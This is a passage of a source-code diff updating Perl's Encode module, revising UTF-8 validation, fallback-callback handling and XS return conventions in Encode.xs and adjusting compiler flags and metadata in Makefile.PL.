+#  define UTF8_ALLOW_NON_STRICT 0
 #endif
 
-#define UTF8_ALLOW_NONSTRICT (UTF8_ALLOW_ANY &                    \
-                              ~(UTF8_ALLOW_CONTINUATION |         \
-                                UTF8_ALLOW_NON_CONTINUATION |     \
-                                UTF8_ALLOW_LONG))
-
 static void
 Encode_XSEncoding(pTHX_ encode_t * enc)
 {
@@ -114,6 +110,7 @@
 
 #define ERR_ENCODE_NOMAP "\"\\x{%04" UVxf "}\" does not map to %s"
 #define ERR_DECODE_NOMAP "%s \"\\x%02" UVXf "\" does not map to Unicode"
+#define ERR_DECODE_STR_NOMAP "%s \"%s\" does not map to Unicode"
 
 static SV *
 do_fallback_cb(pTHX_ UV ch, SV *fallback_cb)
@@ -120,11 +117,11 @@
 {
     dSP;
     int argc;
-    SV *retval = newSVpv("",0);
+    SV *retval;
     ENTER;
     SAVETMPS;
     PUSHMARK(sp);
-    XPUSHs(sv_2mortal(newSVnv((UV)ch)));
+    XPUSHs(sv_2mortal(newSVuv(ch)));
     PUTBACK;
     argc = call_sv(fallback_cb, G_SCALAR);
     SPAGAIN;
@@ -131,7 +128,8 @@
     if (argc != 1){
 	croak("fallback sub must return scalar!");
     }
-    sv_catsv(retval, POPs);
+    retval = POPs;
+    SvREFCNT_inc(retval);
     PUTBACK;
     FREETMPS;
     LEAVE;
@@ -139,6 +137,32 @@
 }
 
 static SV *
+do_bytes_fallback_cb(pTHX_ U8 *s, STRLEN slen, SV *fallback_cb)
+{
+    dSP;
+    int argc;
+    STRLEN i;
+    SV *retval;
+    ENTER;
+    SAVETMPS;
+    PUSHMARK(sp);
+    for (i=0; i<slen; ++i)
+        XPUSHs(sv_2mortal(newSVuv(s[i])));
+    PUTBACK;
+    argc = call_sv(fallback_cb, G_SCALAR);
+    SPAGAIN;
+    if (argc != 1){
+        croak("fallback sub must return scalar!");
+    }
+    retval = POPs;
+    SvREFCNT_inc(retval);
+    PUTBACK;
+    FREETMPS;
+    LEAVE;
+    return retval;
+}
+
+static SV *
 encode_method(pTHX_ const encode_t * enc, const encpage_t * dir, SV * src, U8 * s, STRLEN slen,
 	      int check, STRLEN * offset, SV * term, int * retcode, 
 	      SV *fallback_cb)
@@ -160,65 +184,66 @@
     if (offset) {
       s += *offset;
       if (slen > *offset){ /* safeguard against slen overflow */
-      slen -= *offset;
+          slen -= *offset;
       }else{
-      slen = 0;
+          slen = 0;
       }
       tlen = slen;
     }
 
     if (slen == 0){
-    SvCUR_set(dst, 0);
-    SvPOK_only(dst);
-    goto ENCODE_END;
+        SvCUR_set(dst, 0);
+        SvPOK_only(dst);
+        goto ENCODE_END;
     }
 
     while( (code = do_encode(dir, s, &slen, d, dlen, &dlen, !check,
-                 trm, trmlen)) ) 
+                 trm, trmlen)) )
     {
-    SvCUR_set(dst, dlen+ddone);
-    SvPOK_only(dst);
-    
-    if (code == ENCODE_FALLBACK || code == ENCODE_PARTIAL ||
-        code == ENCODE_FOUND_TERM) {
-        break;
-    }
-    switch (code) {
-    case ENCODE_NOSPACE:
-    {	
-        STRLEN more = 0; /* make sure you initialize! */
-        STRLEN sleft;
-        sdone += slen;
-        ddone += dlen;
-        sleft = tlen - sdone;
+        SvCUR_set(dst, dlen+ddone);
+        SvPOK_only(dst);
+
+        if (code == ENCODE_FALLBACK || code == ENCODE_PARTIAL ||
+            code == ENCODE_FOUND_TERM) {
+            break;
+        }
+        switch (code) {
+        case ENCODE_NOSPACE:
+        {
+            STRLEN more = 0; /* make sure you initialize! */
+            STRLEN sleft;
+            sdone += slen;
+            ddone += dlen;
+            sleft = tlen - sdone;
 #if ENCODE_XS_PROFILE >= 2
-        Perl_warn(aTHX_
-              "more=%d, sdone=%d, sleft=%d, SvLEN(dst)=%d\n",
-              more, sdone, sleft, SvLEN(dst));
+            Perl_warn(aTHX_
+                  "more=%d, sdone=%d, sleft=%d, SvLEN(dst)=%d\n",
+                  more, sdone, sleft, SvLEN(dst));
 #endif
-        if (sdone != 0) { /* has src ever been processed ? */
+            if (sdone != 0) { /* has src ever been processed ? */
 #if   ENCODE_XS_USEFP == 2
-        more = (1.0*tlen*SvLEN(dst)+sdone-1)/sdone
-            - SvLEN(dst);
+                more = (1.0*tlen*SvLEN(dst)+sdone-1)/sdone
+                    - SvLEN(dst);
 #elif ENCODE_XS_USEFP
-        more = (STRLEN)((1.0*SvLEN(dst)+1)/sdone * sleft);
+                more = (STRLEN)((1.0*SvLEN(dst)+1)/sdone * sleft);
 #else
-        /* safe until SvLEN(dst) == MAX_INT/16 */
-        more = (16*SvLEN(dst)+1)/sdone/16 * sleft;
+            /* safe until SvLEN(dst) == MAX_INT/16 */
+                more = (16*SvLEN(dst)+1)/sdone/16 * sleft;
 #endif
+            }
+            more += UTF8_MAXLEN; /* insurance policy */
+            d = (U8 *) SvGROW(dst, SvLEN(dst) + more);
+            /* dst need to grow need MORE bytes! */
+            if (ddone >= SvLEN(dst)) {
+                Perl_croak(aTHX_ "Destination couldn't be grown.");
+            }
+            dlen = SvLEN(dst)-ddone-1;
+            d   += ddone;
+            s   += slen;
+            slen = tlen-sdone;
+            continue;
         }
-        more += UTF8_MAXLEN; /* insurance policy */
-        d = (U8 *) SvGROW(dst, SvLEN(dst) + more);
-        /* dst need to grow need MORE bytes! */
-        if (ddone >= SvLEN(dst)) {
-        Perl_croak(aTHX_ "Destination couldn't be grown.");
-        }
-        dlen = SvLEN(dst)-ddone-1;
-        d   += ddone;
-        s   += slen;
-        slen = tlen-sdone;
-        continue;
-    }
+
     case ENCODE_NOREP:
         /* encoding */	
         if (dir == enc->f_utf8) {
@@ -241,6 +266,8 @@
             goto ENCODE_SET_SRC;
         }
         if (check & (ENCODE_PERLQQ|ENCODE_HTMLCREF|ENCODE_XMLCREF)){
+            STRLEN sublen;
+            char *substr;
             SV* subchar = 
             (fallback_cb != &PL_sv_undef)
 		? do_fallback_cb(aTHX_ ch, fallback_cb)
@@ -247,10 +274,14 @@
 		: newSVpvf(check & ENCODE_PERLQQ ? "\\x{%04" UVxf "}" :
                  check & ENCODE_HTMLCREF ? "&#%" UVuf ";" :
                  "&#x%" UVxf ";", (UV)ch);
-	    SvUTF8_off(subchar); /* make sure no decoded string gets in */
+            substr = SvPV(subchar, sublen);
+            if (SvUTF8(subchar) && sublen && !utf8_to_bytes((U8 *)substr, &sublen)) { /* make sure no decoded string gets in */
+                SvREFCNT_dec(subchar);
+                croak("Wide character");
+            }
             sdone += slen + clen;
-            ddone += dlen + SvCUR(subchar);
-            sv_catsv(dst, subchar);
+            ddone += dlen + sublen;
+            sv_catpvn(dst, substr, sublen);
             SvREFCNT_dec(subchar);
         } else {
             /* fallback char */
@@ -277,34 +308,37 @@
         }
         if (check &
             (ENCODE_PERLQQ|ENCODE_HTMLCREF|ENCODE_XMLCREF)){
+            STRLEN sublen;
+            char *substr;
             SV* subchar = 
             (fallback_cb != &PL_sv_undef)
 		? do_fallback_cb(aTHX_ (UV)s[slen], fallback_cb) 
 		: newSVpvf("\\x%02" UVXf, (UV)s[slen]);
+            substr = SvPVutf8(subchar, sublen);
             sdone += slen + 1;
-            ddone += dlen + SvCUR(subchar);
-            sv_catsv(dst, subchar);
+            ddone += dlen + sublen;
+            sv_catpvn(dst, substr, sublen);
             SvREFCNT_dec(subchar);
         } else {
             sdone += slen + 1;
             ddone += dlen + strlen(FBCHAR_UTF8);
-            sv_catpv(dst, FBCHAR_UTF8);
+            sv_catpvn(dst, FBCHAR_UTF8, strlen(FBCHAR_UTF8));
         }
         }
         /* settle variables when fallback */
         d    = (U8 *)SvEND(dst);
-            dlen = SvLEN(dst) - ddone - 1;
+        dlen = SvLEN(dst) - ddone - 1;
         s    = (U8*)SvPVX(src) + sdone;
         slen = tlen - sdone;
         break;
 
-    default:
-        Perl_croak(aTHX_ "Unexpected code %d converting %s %s",
-               code, (dir == enc->f_utf8) ? "to" : "from",
-               enc->name[0]);
-        return &PL_sv_undef;
-    }
-    }
+        default:
+            Perl_croak(aTHX_ "Unexpected code %d converting %s %s",
+                   code, (dir == enc->f_utf8) ? "to" : "from",
+                   enc->name[0]);
+            return &PL_sv_undef;
+        }
+    }   /* End of looping through the string */
  ENCODE_SET_SRC:
     if (check && !(check & ENCODE_LEAVE_SRC)){
     sdone = SvCUR(src) - (slen+sdone);
@@ -328,7 +362,7 @@
     }
 #endif
 
-    if (offset) 
+    if (offset)
       *offset += sdone + slen;
 
  ENCODE_END:
@@ -352,6 +386,13 @@
     return SvTRUE(*svp);
 }
 
+/* Modern perls have the capability to do this more efficiently and portably */
+#ifdef utf8n_to_uvchr_msgs
+# define CAN_USE_BASE_PERL
+#endif
+
+#ifndef CAN_USE_BASE_PERL
+
 /*
  * https://github.com/dankogai/p5-encode/pull/56#issuecomment-231959126
  */
@@ -382,7 +423,7 @@
     U8 *ptr = s;
     bool overflowed = 0;
 
-    uv = NATIVE_TO_UTF(*s) & UTF_START_MASK(len);
+    uv = NATIVE_TO_UTF(*s) & UTF_START_MASK(UTF8SKIP(s));
 
     len--;
     s++;
@@ -401,7 +442,6 @@
     *rlen = s-ptr;
 
     if (overflowed || *rlen > (STRLEN)UNISKIP(uv)) {
-        *rlen = 1;
         return 0;
     }
 
@@ -408,10 +448,27 @@
     return uv;
 }
 
+#endif  /* CAN_USE_BASE_PERL */
+
 static U8*
 process_utf8(pTHX_ SV* dst, U8* s, U8* e, SV *check_sv,
              bool encode, bool strict, bool stop_at_partial)
 {
+    /* Copies the purportedly UTF-8 encoded string starting at 's' and ending
+     * at 'e' - 1 to 'dst', checking as it goes along that the string actually
+     * is valid UTF-8.  There are two levels of strictness checking.  If
+     * 'strict' is FALSE, the string is checked for being well-formed UTF-8, as
+     * extended by Perl.  Additionally, if 'strict' is TRUE, above-Unicode code
+     * points, surrogates, and non-character code points are checked for.  When
+     * invalid input is encountered, some action is taken, exactly what depends
+     * on the flags in 'check_sv'.  'encode' gives if this is from an encode
+     * operation (if TRUE), or a decode one.  This function returns the
+     * position in 's' of the start of the next character beyond where it got
+     * to.  If there were no problems, that will be 'e'.  If 'stop_at_partial'
+     * is TRUE, if the final character before 'e' is incomplete, but valid as
+     * far as is available, no action will be taken on that partial character,
+     * and the return value will point to its first byte */
+
     UV uv;
     STRLEN ulen;
     SV *fallback_cb;
@@ -418,6 +475,11 @@
     int check;
     U8 *d;
     STRLEN dlen;
+    char esc[UTF8_MAXLEN * 6 + 1];
+    STRLEN i;
+    const U32 flags = (strict)
+                    ? UTF8_DISALLOW_ILLEGAL_INTERCHANGE
+                    : UTF8_ALLOW_NON_STRICT;
 
     if (SvROK(check_sv)) {
 	/* croak("UTF-8 decoder doesn't support callback CHECK"); */
@@ -435,28 +497,67 @@
     dlen = (s && e && s < e) ? e-s+1 : 1;
     d = (U8 *) SvGROW(dst, dlen);
 
+    stop_at_partial = stop_at_partial || (check & ENCODE_STOP_AT_PARTIAL);
+
     while (s < e) {
+
+#ifdef CAN_USE_BASE_PERL    /* Use the much faster, portable implementation if
+                               available */
+
+        /* If there were no errors, this will be 'e'; otherwise it will point
+         * to the first byte of the erroneous input */
+        const U8* e_or_where_failed;
+        bool valid = is_utf8_string_loc_flags(s, e - s, &e_or_where_failed, flags);
+        STRLEN len = e_or_where_failed - s;
+
+        /* Copy as far as was successful */
+        Move(s, d, len, U8);
+        d += len;
+        s = (U8 *) e_or_where_failed;
+
+        /* Are done if it was valid, or we are accepting partial characters and
+         * the only error is that the final bytes form a partial character */
+        if (    LIKELY(valid)
+            || (   stop_at_partial
+                && is_utf8_valid_partial_char_flags(s, e, flags)))
+        {
+            break;
+        }
+
+        /* Here, was not valid.  If is 'strict', and is legal extended UTF-8,
+         * we know it is a code point whose value we can calculate, just not
+         * one accepted under strict.  Otherwise, it is malformed in some way.
+         * In either case, the system function can calculate either the code
+         * point, or the best substitution for it */
+        uv = utf8n_to_uvchr(s, e - s, &ulen, UTF8_ALLOW_ANY);
+
+#else   /* Use code for earlier perls */
+
+        ((void)sizeof(flags));  /* Avoid compiler warning */
+
         if (UTF8_IS_INVARIANT(*s)) {
             *d++ = *s++;
             continue;
         }
 
+        uv = 0;
         ulen = 1;
-        if (UTF8_IS_START(*s)) {
+        if (! UTF8_IS_CONTINUATION(*s)) {
+            /* Not an invariant nor a continuation; must be a start byte.  (We
+             * can't test for UTF8_IS_START as that excludes things like \xC0
+             * which are start bytes, but always lead to overlongs */
+
             U8 skip = UTF8SKIP(s);
             if ((s + skip) > e) {
-                if (stop_at_partial || (check & ENCODE_STOP_AT_PARTIAL)) {
-                    const U8 *p = s + 1;
-                    for (; p < e; p++) {
-                        if (!UTF8_IS_CONTINUATION(*p)) {
-                            ulen = p-s;
-                            goto malformed_byte;
-                        }
-                    }
+                /* just calculate ulen, in pathological cases can be smaller then e-s */
+                if (e-s >= 2)
+                    convert_utf8_multi_seq(s, e-s, &ulen);
+                else
+                    ulen = 1;
+
+                if (stop_at_partial && ulen == (STRLEN)(e-s))
                     break;
-                }
 
-                ulen = e-s;
                 goto malformed_byte;
             }
 
@@ -475,44 +576,77 @@
         }
 
         /* If we get here there is something wrong with alleged UTF-8 */
+        /* uv is used only when encoding */
     malformed_byte:
-        uv = (UV)*s;
-        if (ulen == 0)
+        if (uv == 0)
+            uv = (UV)*s;
+        if (encode || ulen == 0)
             ulen = 1;
 
     malformed:
+
+#endif  /* The two versions for processing come back together here, for the
+         * error handling code.
+         *
+         * Here, we are looping through the input and found an error.
+         * 'uv' is the code point in error if calculable, or the REPLACEMENT
+         *      CHARACTER if not.
+         * 'ulen' is how many bytes of input this iteration of the loop
+         *        consumes */
+
+        if (!encode && (check & (ENCODE_DIE_ON_ERR|ENCODE_WARN_ON_ERR|ENCODE_PERLQQ)))
+            for (i=0; i<ulen; ++i) sprintf(esc+4*i, "\\x%02X", s[i]);
         if (check & ENCODE_DIE_ON_ERR){
             if (encode)
-                Perl_croak(aTHX_ ERR_ENCODE_NOMAP, uv, "utf8");
+                Perl_croak(aTHX_ ERR_ENCODE_NOMAP, uv, (strict ? "UTF-8" : "utf8"));
             else
-                Perl_croak(aTHX_ ERR_DECODE_NOMAP, "utf8", uv);
+                Perl_croak(aTHX_ ERR_DECODE_STR_NOMAP, (strict ? "UTF-8" : "utf8"), esc);
         }
         if (check & ENCODE_WARN_ON_ERR){
             if (encode)
                 Perl_warner(aTHX_ packWARN(WARN_UTF8),
-                            ERR_ENCODE_NOMAP, uv, "utf8");
+                            ERR_ENCODE_NOMAP, uv, (strict ? "UTF-8" : "utf8"));
             else
                 Perl_warner(aTHX_ packWARN(WARN_UTF8),
-                            ERR_DECODE_NOMAP, "utf8", uv);
+                            ERR_DECODE_STR_NOMAP, (strict ? "UTF-8" : "utf8"), esc);
         }
         if (check & ENCODE_RETURN_ON_ERR) {
                 break;
         }
         if (check & (ENCODE_PERLQQ|ENCODE_HTMLCREF|ENCODE_XMLCREF)){
-	    SV* subchar =
-		(fallback_cb != &PL_sv_undef)
-		? do_fallback_cb(aTHX_ uv, fallback_cb)
-		: newSVpvf(check & ENCODE_PERLQQ 
-			   ? (ulen == 1 ? "\\x%02" UVXf : "\\x{%04" UVXf "}")
-			   :  check & ENCODE_HTMLCREF ? "&#%" UVuf ";" 
-			   : "&#x%" UVxf ";", uv);
-	    if (encode){
-		SvUTF8_off(subchar); /* make sure no decoded string gets in */
-	    }
-            dlen += SvCUR(subchar) - ulen;
+            STRLEN sublen;
+            char *substr;
+            SV* subchar;
+            if (encode) {
+                subchar =
+                    (fallback_cb != &PL_sv_undef)
+                    ? do_fallback_cb(aTHX_ uv, fallback_cb)
+                    : newSVpvf(check & ENCODE_PERLQQ
+                        ? (ulen == 1 ? "\\x%02" UVXf : "\\x{%04" UVXf "}")
+                        :  check & ENCODE_HTMLCREF ? "&#%" UVuf ";"
+                        : "&#x%" UVxf ";", uv);
+                substr = SvPV(subchar, sublen);
+                if (SvUTF8(subchar) && sublen && !utf8_to_bytes((U8 *)substr, &sublen)) { /* make sure no decoded string gets in */
+                    SvREFCNT_dec(subchar);
+                    croak("Wide character");
+                }
+            } else {
+                if (fallback_cb != &PL_sv_undef) {
+                    /* in decode mode we have sequence of wrong bytes */
+                    subchar = do_bytes_fallback_cb(aTHX_ s, ulen, fallback_cb);
+                } else {
+                    char *ptr = esc;
+                    /* ENCODE_PERLQQ is already stored in esc */
+                    if (check & (ENCODE_HTMLCREF|ENCODE_XMLCREF))
+                        for (i=0; i<ulen; ++i) ptr += sprintf(ptr, ((check & ENCODE_HTMLCREF) ? "&#%u;" : "&#x%02X;"), s[i]);
+                    subchar = newSVpvn(esc, strlen(esc));
+                }
+                substr = SvPVutf8(subchar, sublen);
+            }
+            dlen += sublen - ulen;
             SvCUR_set(dst, d-(U8 *)SvPVX(dst));
             *SvEND(dst) = '\0';
-            sv_catsv(dst, subchar);
+            sv_catpvn(dst, substr, sublen);
             SvREFCNT_dec(subchar);
             d = (U8 *) SvGROW(dst, dlen) + SvCUR(dst);
         } else {
@@ -539,7 +673,7 @@
 PROTOTYPES: DISABLE
 
 void
-Method_decode_xs(obj,src,check_sv = &PL_sv_no)
+Method_decode(obj,src,check_sv = &PL_sv_no)
 SV *	obj
 SV *	src
 SV *	check_sv
@@ -551,14 +685,13 @@
     bool renewed = 0;
     int check;
     bool modify;
+    dSP;
 INIT:
     SvGETMAGIC(src);
     SvGETMAGIC(check_sv);
     check = SvROK(check_sv) ? ENCODE_PERLQQ|ENCODE_LEAVE_SRC : SvIV_nomg(check_sv);
     modify = (check && !(check & ENCODE_LEAVE_SRC));
-CODE:
-{
-    dSP;
+PPCODE:
     if (!SvOK(src))
         XSRETURN_UNDEF;
     s = modify ? (U8 *)SvPV_force_nomg(src, slen) : (U8 *)SvPV_nomg(src, slen);
@@ -566,7 +699,7 @@
         utf8_safe_downgrade(aTHX_ &src, &s, &slen, modify);
     e = s+slen;
 
-    /* 
+    /*
      * PerlIO check -- we assume the object is of PerlIO if renewed
      */
     ENTER; SAVETMPS;
@@ -576,7 +709,7 @@
     if (call_method("renewed",G_SCALAR) == 1) {
     SPAGAIN;
     renewed = (bool)POPi;
-    PUTBACK; 
+    PUTBACK;
 #if 0
     fprintf(stderr, "renewed == %d\n", renewed);
 #endif
@@ -600,10 +733,9 @@
     if (SvTAINTED(src)) SvTAINTED_on(dst); /* propagate taintedness */
     ST(0) = dst;
     XSRETURN(1);
-}
 
 void
-Method_encode_xs(obj,src,check_sv = &PL_sv_no)
+Method_encode(obj,src,check_sv = &PL_sv_no)
 SV *	obj
 SV *	src
 SV *	check_sv
@@ -619,8 +751,7 @@
     SvGETMAGIC(check_sv);
     check = SvROK(check_sv) ? ENCODE_PERLQQ|ENCODE_LEAVE_SRC : SvIV_nomg(check_sv);
     modify = (check && !(check & ENCODE_LEAVE_SRC));
-CODE:
-{
+PPCODE:
     if (!SvOK(src))
         XSRETURN_UNDEF;
     s = modify ? (U8 *)SvPV_force_nomg(src, slen) : (U8 *)SvPV_nomg(src, slen);
@@ -673,20 +804,19 @@
     if (SvTAINTED(src)) SvTAINTED_on(dst); /* propagate taintedness */
     ST(0) = dst;
     XSRETURN(1);
-}
 
 MODULE = Encode		PACKAGE = Encode::XS	PREFIX = Method_
 
-PROTOTYPES: ENABLE
+PROTOTYPES: DISABLE
 
-void
+SV *
 Method_renew(obj)
 SV *	obj
 CODE:
-{
     PERL_UNUSED_VAR(obj);
-    XSRETURN(1);
-}
+    RETVAL = newSVsv(obj);
+OUTPUT:
+    RETVAL
 
 int
 Method_renewed(obj)
@@ -697,17 +827,19 @@
 OUTPUT:
     RETVAL
 
-void
+SV *
 Method_name(obj)
 SV *	obj
+PREINIT:
+    encode_t *enc;
+INIT:
+    enc = INT2PTR(encode_t *, SvIV(SvRV(obj)));
 CODE:
-{
-    encode_t *enc = INT2PTR(encode_t *, SvIV(SvRV(obj)));
-    ST(0) = sv_2mortal(newSVpvn(enc->name[0],strlen(enc->name[0])));
-    XSRETURN(1);
-}
+    RETVAL = newSVpvn(enc->name[0], strlen(enc->name[0]));
+OUTPUT:
+    RETVAL
 
-void
+bool
 Method_cat_decode(obj, dst, src, off, term, check_sv = &PL_sv_no)
 SV *	obj
 SV *	dst
@@ -734,7 +866,6 @@
     enc = INT2PTR(encode_t *, SvIV(SvRV(obj)));
     offset = (STRLEN)SvIV(off);
 CODE:
-{
     if (!SvOK(src))
         XSRETURN_NO;
     s = modify ? (U8 *)SvPV_force_nomg(src, slen) : (U8 *)SvPV_nomg(src, slen);
@@ -745,13 +876,9 @@
     sv_catsv(dst, tmp);
     SvREFCNT_dec(tmp);
     SvIV_set(off, (IV)offset);
-    if (code == ENCODE_FOUND_TERM) {
-    ST(0) = &PL_sv_yes;
-    }else{
-    ST(0) = &PL_sv_no;
-    }
-    XSRETURN(1);
-}
+    RETVAL = (code == ENCODE_FOUND_TERM);
+OUTPUT:
+    RETVAL
 
 SV *
 Method_decode(obj,src,check_sv = &PL_sv_no)
@@ -773,7 +900,6 @@
     modify = (check && !(check & ENCODE_LEAVE_SRC));
     enc = INT2PTR(encode_t *, SvIV(SvRV(obj)));
 CODE:
-{
     if (!SvOK(src))
         XSRETURN_UNDEF;
     s = modify ? (U8 *)SvPV_force_nomg(src, slen) : (U8 *)SvPV_nomg(src, slen);
@@ -782,7 +908,6 @@
     RETVAL = encode_method(aTHX_ enc, enc->t_utf8, src, s, slen, check,
               NULL, Nullsv, NULL, fallback_cb);
     SvUTF8_on(RETVAL);
-}
 OUTPUT:
     RETVAL
 
@@ -806,7 +931,6 @@
     modify = (check && !(check & ENCODE_LEAVE_SRC));
     enc = INT2PTR(encode_t *, SvIV(SvRV(obj)));
 CODE:
-{
     if (!SvOK(src))
         XSRETURN_UNDEF;
     s = modify ? (U8 *)SvPV_force_nomg(src, slen) : (U8 *)SvPV_nomg(src, slen);
@@ -814,77 +938,52 @@
         utf8_safe_upgrade(aTHX_ &src, &s, &slen, modify);
     RETVAL = encode_method(aTHX_ enc, enc->f_utf8, src, s, slen, check,
               NULL, Nullsv, NULL, fallback_cb);
-}
 OUTPUT:
     RETVAL
 
-void
+bool
 Method_needs_lines(obj)
 SV *	obj
 CODE:
-{
-    /* encode_t *enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); */
     PERL_UNUSED_VAR(obj);
-    ST(0) = &PL_sv_no;
-    XSRETURN(1);
-}
+    RETVAL = FALSE;
+OUTPUT:
+    RETVAL
 
-void
+bool
 Method_perlio_ok(obj)
 SV *	obj
 PREINIT:
     SV *sv;
 CODE:
-{
-    /* encode_t *enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); */
-    /* require_pv(PERLIO_FILENAME); */
-
     PERL_UNUSED_VAR(obj);
-    eval_pv("require PerlIO::encoding", 0);
-    SPAGAIN;
+    sv = eval_pv("require PerlIO::encoding", 0);
+    RETVAL = SvTRUE(sv);
+OUTPUT:
+    RETVAL
 
-    sv = get_sv("@", 0);
-    if (SvTRUE(sv)) {
-    ST(0) = &PL_sv_no;
-    }else{
-    ST(0) = &PL_sv_yes;
-    }
-    XSRETURN(1);
-}
-
-void
+SV *
 Method_mime_name(obj)
 SV *	obj
 PREINIT:
-    SV *sv;
+    encode_t *enc;
+INIT:
+    enc = INT2PTR(encode_t *, SvIV(SvRV(obj)));
 CODE:
-{
-    encode_t *enc = INT2PTR(encode_t *, SvIV(SvRV(obj)));
-    SV *retval;
-    eval_pv("require Encode::MIME::Name", 0);
+    ENTER;
+    SAVETMPS;
+    PUSHMARK(sp);
+    XPUSHs(sv_2mortal(newSVpvn(enc->name[0], strlen(enc->name[0]))));
+    PUTBACK;
+    call_pv("Encode::MIME::Name::get_mime_name", G_SCALAR);
     SPAGAIN;
+    RETVAL = newSVsv(POPs);
+    PUTBACK;
+    FREETMPS;
+    LEAVE;
+OUTPUT:
+    RETVAL
 
-    sv = get_sv("@", 0);
-    if (SvTRUE(sv)) {
-	ST(0) = &PL_sv_undef;
-    }else{
-	ENTER;
-	SAVETMPS;
-	PUSHMARK(sp);
-	XPUSHs(sv_2mortal(newSVpvn(enc->name[0], strlen(enc->name[0]))));
-	PUTBACK;
-	call_pv("Encode::MIME::Name::get_mime_name", G_SCALAR);
-	SPAGAIN;
-	retval = newSVsv(POPs);
-	PUTBACK;
-	FREETMPS;
-	LEAVE;
-	/* enc->name[0] */
-	ST(0) = retval;
-    }
-    XSRETURN(1);
-}
-
 MODULE = Encode         PACKAGE = Encode
 
 PROTOTYPES: ENABLE
@@ -892,10 +991,11 @@
 I32
 _bytes_to_utf8(sv, ...)
 SV *    sv
+PREINIT:
+    SV * encoding;
+INIT:
+    encoding = items == 2 ? ST(1) : Nullsv;
 CODE:
-{
-    SV * encoding = items == 2 ? ST(1) : Nullsv;
-
     if (encoding)
     RETVAL = _encoded_bytes_to_utf8(sv, SvPV_nolen(encoding));
     else {
@@ -909,7 +1009,6 @@
     Safefree(converted);                /* ... so free it */
     RETVAL = len;
     }
-}
 OUTPUT:
     RETVAL
 
@@ -916,11 +1015,13 @@
 I32
 _utf8_to_bytes(sv, ...)
 SV *    sv
+PREINIT:
+    SV * to;
+    SV * check;
+INIT:
+    to    = items > 1 ? ST(1) : Nullsv;
+    check = items > 2 ? ST(2) : Nullsv;
 CODE:
-{
-    SV * to    = items > 1 ? ST(1) : Nullsv;
-    SV * check = items > 2 ? ST(2) : Nullsv;
-
     if (to) {
     RETVAL = _encoded_utf8_to_bytes(sv, SvPV_nolen(to));
     } else {
@@ -980,7 +1081,6 @@
         RETVAL = (utf8_to_bytes(s, &len) ? len : 0);
     }
     }
-}
 OUTPUT:
     RETVAL
 
@@ -992,13 +1092,11 @@
     char *str;
     STRLEN len;
 CODE:
-{
     SvGETMAGIC(sv); /* SvGETMAGIC() can modify SvOK flag */
     str = SvOK(sv) ? SvPV_nomg(sv, len) : NULL; /* SvPV() can modify SvUTF8 flag */
     RETVAL = SvUTF8(sv) ? TRUE : FALSE;
     if (RETVAL && check && (!str || !is_utf8_string((U8 *)str, len)))
         RETVAL = FALSE;
-}
 OUTPUT:
     RETVAL
 
@@ -1006,17 +1104,15 @@
 _utf8_on(sv)
 SV *	sv
 CODE:
-{
     SvGETMAGIC(sv);
     if (!SvTAINTED(sv) && SvPOKp(sv)) {
         if (SvTHINKFIRST(sv)) sv_force_normal(sv);
-        RETVAL = newSViv(SvUTF8(sv));
+        RETVAL = boolSV(SvUTF8(sv));
         SvUTF8_on(sv);
         SvSETMAGIC(sv);
     } else {
         RETVAL = &PL_sv_undef;
     }
-}
 OUTPUT:
     RETVAL
 
@@ -1024,20 +1120,25 @@
 _utf8_off(sv)
 SV *	sv
 CODE:
-{
     SvGETMAGIC(sv);
     if (!SvTAINTED(sv) && SvPOKp(sv)) {
         if (SvTHINKFIRST(sv)) sv_force_normal(sv);
-        RETVAL = newSViv(SvUTF8(sv));
+        RETVAL = boolSV(SvUTF8(sv));
         SvUTF8_off(sv);
         SvSETMAGIC(sv);
     } else {
         RETVAL = &PL_sv_undef;
     }
-}
 OUTPUT:
     RETVAL
 
+void
+onBOOT()
+CODE:
+{
+#include "def_t.exh"
+}
+
 BOOT:
 {
     HV *stash = gv_stashpvn("Encode", strlen("Encode"), GV_ADD);
@@ -1057,6 +1158,3 @@
     newCONSTSUB(stash, "FB_HTMLCREF", newSViv(ENCODE_FB_HTMLCREF));
     newCONSTSUB(stash, "FB_XMLCREF", newSViv(ENCODE_FB_XMLCREF));
 }
-{
-#include "def_t.exh"
-}

Modified: vendor/perl/dist/cpan/Encode/Makefile.PL
===================================================================
--- vendor/perl/dist/cpan/Encode/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,10 @@
 #
-# $Id: Makefile.PL,v 2.18 2016/11/29 23:29:23 dankogai Exp dankogai $
+# $Id: Makefile.PL,v 2.22 2017/10/06 22:21:53 dankogai Exp $
 #
 use 5.007003;
 use strict;
 use warnings;
+use utf8;
 use ExtUtils::MakeMaker;
 use File::Spec;
 use Config;
@@ -15,9 +16,12 @@
 # similar strictness as in core
 my $ccflags = $Config{ccflags};
 if (!$ENV{PERL_CORE}) {
-  if ($Config{gccversion}) {
-    $ccflags .= ' -Werror=declaration-after-statement';
-    $ccflags .= ' -Wpointer-sign' unless $Config{d_cplusplus};
+  if (my $gccver = $Config{gccversion}) {
+    $gccver =~ s/\.//g; $gccver =~ s/ .*//;
+    $gccver .= "0" while length $gccver < 3;
+    $gccver = 0+$gccver;
+    $ccflags .= ' -Werror=declaration-after-statement' if $gccver > 412;
+    $ccflags .= ' -Wpointer-sign' if !$Config{d_cplusplus} and $gccver > 400;
     $ccflags .= ' -fpermissive' if $Config{d_cplusplus};
   }
 }
@@ -49,6 +53,8 @@
     NAME         => "Encode",
     EXE_FILES    => \@exe_files,
     VERSION_FROM => 'Encode.pm',
+    ABSTRACT_FROM=> 'Encode.pm',
+    AUTHOR       => 'Dan Kogai <dankogai at dan.co.jp>',
     OBJECT       => '$(O_FILES)',
     'dist'       => {
         COMPRESS     => 'gzip -9f',
@@ -61,6 +67,7 @@
     PREREQ_PM   => {
         Exporter   => '5.57',   # use Exporter 'import';
 	parent     => '0.221',  # version bundled with 5.10.1
+        Storable   => '0',      # bundled with Perl 5.7.3
     },
     TEST_REQUIRES => {
         'Test::More' => '0.81_01',
@@ -71,6 +78,91 @@
         resources => {
             repository  =>  'https://github.com/dankogai/p5-encode',
         },
+        x_contributors => [
+            'Alex Davies <alex.davies at talktalk.net>',
+            'Alex Kapranoff <alex at kapranoff.ru>',
+            'Alex Vandiver <alex at chmrr.net>',
+            'Andreas J. Koenig <andreas.koenig at anima.de>',
